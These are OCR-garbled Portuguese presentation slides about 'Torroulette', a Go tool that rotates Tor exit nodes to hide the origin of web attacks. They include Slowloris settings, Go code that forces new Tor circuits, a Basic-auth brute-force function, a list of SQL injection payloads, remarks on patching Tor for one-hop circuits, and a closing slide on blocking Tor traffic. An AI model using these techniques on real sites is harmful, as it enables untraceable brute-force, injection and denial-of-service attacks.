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RS 00,50 de Tor

Rede anonima;
Proporciona privacidade;
E uma rede TCP;

No de entrada;

N6 do meio;

NO de saida.




TORROULETTE

Torroulette ¢ a 'técnica’ de rotacionar nos de saida Tor.
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“GONFUNDIR
“ESCONDER
“TIRAR PROVEITO
“ATACAR
“TESTAR
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TORROULETTE

1SS0 JA EXISTE!
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A

General
Host: [localhost
Port: [80
[ SSL
Behavior
Attack Limit (0 = No limit): 500
Connection Limit (0 = No limit): 500
Thread Limit (0 = No limit): 50
Connection speed (bytes/sec): 0.3

Time between thread spawns (seconds): [0.3
Time between connections (seconds): [1
Close finished connections

Proxy
Proxy type (SOCKS4/SOCKSS/HTTP/NONE) [NONE
Proxy Hostname / IP Address localhost
Proxy Port 19050
Proxy Username '
Proxy Password

Launch

TORROULETTE

~Request Body

GET / HTTP/1.1¢

Host: www.example.comr

Keep-Alive: 300

Connection: Keep-Aliver

| Referer: http://www.demonstration.com/r

{User-Agent: Mozilla/5.0 (Windows: U; Windows NT 6.1; en-US) AppleWebKit/532.5 (K
| Cookie: datal=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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SLOWLORIS

@RSnake
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GET /home.php HTTP/1.1ICRLF]
Pragma: no-cachelCRLF
GCache-Control: no-cachelCRLFI
Host: 8hit.academyiGRLFI
Connection: Keep-alivelGRLFI
Accept-Encoding: yzip,deflatelGRLFI
User-Agent: Mozilla/5.0 ICRLFI
Accept: '/ ICRLFIGRLF]
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TORROULETTE

A

Host: |localhost
Port: |9051
Password:
Interval: |30

Start Stop
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% - SelekTOR V3.08

Active Country : Proxy Mode :
[US,United States v |Anonymous (Proxyalltraffic) | ¥| v Auto Node Select

Sl,Slovenia b\s) ||Latency (ms)  ||Status |Enabled |
SK,Slovakia 296 9999|Creating circuits. %
3820 127|Circuits passed.

TR Turkey 5210 244|Circuits passed.
TW, Taiwan 20 190|Circuits passed.
. 5280 439|Circuits passed.
UA,Ukraine 555 9999|2 circuits built.
1450 9999|Testing circuit 1 of 2

; 4630 99992 circuits built.
VN, Vietnam 26 9999|2 circuits built.
ZA,South Africa 433 9999/Unknown
— - 3930 9999/Unknown
3GNode 20 9999|Unknown
AngelEyes 1050 9999/Unknown
Betelgeuse 1190 9999|Unknown
frankenhooker1 31 9999/Unknown

RNV W T K WT-Y PEW aoooll lmlem o0~

Information

Exit Node: Details. | |p, Wwhols. Tor Latency Net Latency Threshold
lbouazizi | [74.120.13.132 | [137 ms | [26ms | [1000ms |
Fingerprint: Bandwidth  Streams Stable
[5723495C31E02098F370F0797F74EDF82A74AC38 | [33400kb/s | [1 | |ves
Status:

QRQRIRIRIERRRIRRIRRQR

[2 Hop Circuit to exit node bouaziziis active.
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COMMAND AND CONTROL (C&C)
INFRASTRUCGTURE

6C 00 4 UserCache.dll A

65 61 6E DB _Add ADB Clean
44 42 5I up ADHilnit ﬂDHi
61 73 65 Load ADB

44 ¢ : ADB Remove

%1% P90 Setup D11Mai

Onlon Duke

01AA3A: oS 6C 00 41 44 4 -~ erCache.dll ADB _
O1AA4A: 64 64 00 41 4 42 SF 6C 51 6 20 Add ADB_Cleanup
01AASA: ¢ 14 42 9 6E 69 74 00 4] 4C ¢ ( ADB Init ADB Loa
©1AAGA: 64 00 41 44 2ok 5265 6C 65 61 65 00 ¢ 1 d ADB_Release AD
©1AA/A: 42 S5F 52 65 6D 6 /6 6°F ] 32 DF >3 b5 7 B Remove ADB Set
©1AABA: 75 70 00 44 o6C 6C 4D ¢ 09 © DY 00 00 © 30 90 up D1l1lMain
O1AASA: 00 00 0O 00 00 0O 00
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OBJETIVO DESTE TRABALHO
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Linguagem Go;
Tor 0.2.9.11; +Fonte modificada.
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ATIVAR ROLETA

TARGET:
LOOP:
A
v
INTERVAL (Seconds):
6 C

ESimple Get j
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CRIAGAO DA ROLETA

Tempo - 6S
Useragents - 3.790
VIRTUAL MAGHINE - Slackware
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33 func reloadip() {
34 conn, err := net.Dial("tcp"”, "localhost:9051")

if err != nil {

}
fmt.Fprintf(conn, "authenticate\r\n\r\n")

fmt.Fprintf(conn, "signal newnym\r\n\r\n")
return
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SIMPLE GET

. func getanony(url string, randpath string) string {
' dialSocksProxy := socks.DialSocksProxy(socks.SOCKS5, "127.0.0.1:9050")
tr := &http.Transport{Dial: dialSocksProxy}
httpClient := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", url+randpath, nil)
iptor := torexitip()
1og.Printf ("GETANONY in: %s with address: %s'", url+randpath, iptor)
req.SetBasicAuth("user"”, "passwd")
req.Header.Set("User-Agent”, useragent())
res, err := httpClient.Do(req)
if err != nil {
key := "1"
return key
}
defer res.Body.Close()
key := "0"
return key
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PATH SCAN

» func randstring(n int) string {
var dic = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

rand.Seed(time.Now().UTC().UnixNano())

X := make([]rune, n)
for i := range x {

x[1] = dic[rand.Intn(len(dic))]
}

t := string(x)
return t

OULISTA

Torroulette - @noilsoncaio




Torroulette - @noilsoncaio




BRUTE FORGE

/]
// FUNCAO GETANONYBT - BRUTEFORCE
/]
func getanonybt(url string, randpath string) string {
dialSocksProxy := socks.DialSocksProxy(socks.S0CKS5, "127.0.0.1:9050")
tr := &http.Transport{Dial: dialSocksProxy}
httpClient := &http.Client{Transport: tr}
req, _ := http.NewRequest("GET", url, nil)
req.SetBasicAuth(randpath, randpath)
iptor := torexitip()
log.Printf ("GETANONYBT path: %s with address: %s", randpath, iptor)
req.Header.Set("User-Agent", readfile("/usr/local/go/src/torroulette/public/file/useragents"))
res, err := httpClient.Do(req)
if err != nil {
key := "1"
return key
}
defer res.Body.Close()
key := "0"
return key
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OSSEC Notification - 8bit - Alert level 9

OSSEC HIDS <ossecm@8hit.academy> 9:39 PM (5 minutes ago)
to me [+

OSSEC HIDS Notification.
2015 May 25 20:38:55

Received From: 8bit->/var/log/httpd/error_log
Rule: 30109 fired (level 9) -> "Attempt to login using a non-existent user."
Portion of the log(s):

[Mon May 25 20:38:53 2015] [error] [client 213.5.66.70] user rEJmNIL not found: /download

--END OF NOTIFICATION

OSSEC HIDS <ossecm@8bhit.academy> 9:39 PM (5 minutes ago)
to me [~

OSSEC HIDS Notification.
2015 May 25 20:39:03

Received From: 8bit->/var/log/httpd/error_log
Rule: 30109 fired (level 9) -> "Attempt to login using a non-existent user."
Portion of the log(s):

[Mon May 25 20:39:01 2015] [error] [client 37.187.129.166] user keRAsiY not found: /download

--END OF NOTIFICATION

OSSEC HIDS <ossecm@8bit.academy> 9:39 PM (5 minutes ago) -
to me [~
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SOL INJEGTION

root@torroulette: /usr/local/go/src/torroulette/public/file# cat sqlinjection

\x3D%20\x3B "'
\x3D%20\x27
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or%20select *
admin'--

<>""'%;) (&+
'%200r%20"' '="
'%200r%20 'x'="'
"%200r%20"x"="
')%200r%20( 'x'="x
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MELHORANDO A ROLETA
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“HAGK” NO FONTE DO TOR

control.c

Ll o
1s this

Iget_options()->A
connection
"551

return

Jusr/src/tor-0.2.5.11/src/or/control.c CWD: /usr/src/tor-0.2.5.11/src/or Line: 2653
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CRIANDO UM CIRCUITO DE APENAS UM SALTO
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Ultrapassando protecoes
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UM IP POR CLICK

KEEP ALIVE
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BLOQUEAR TODA A REDE TOR 2

VirusTotal APl + Exitlist
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CAIOGORE - GMAIL - COM
@NOILSONCAIO
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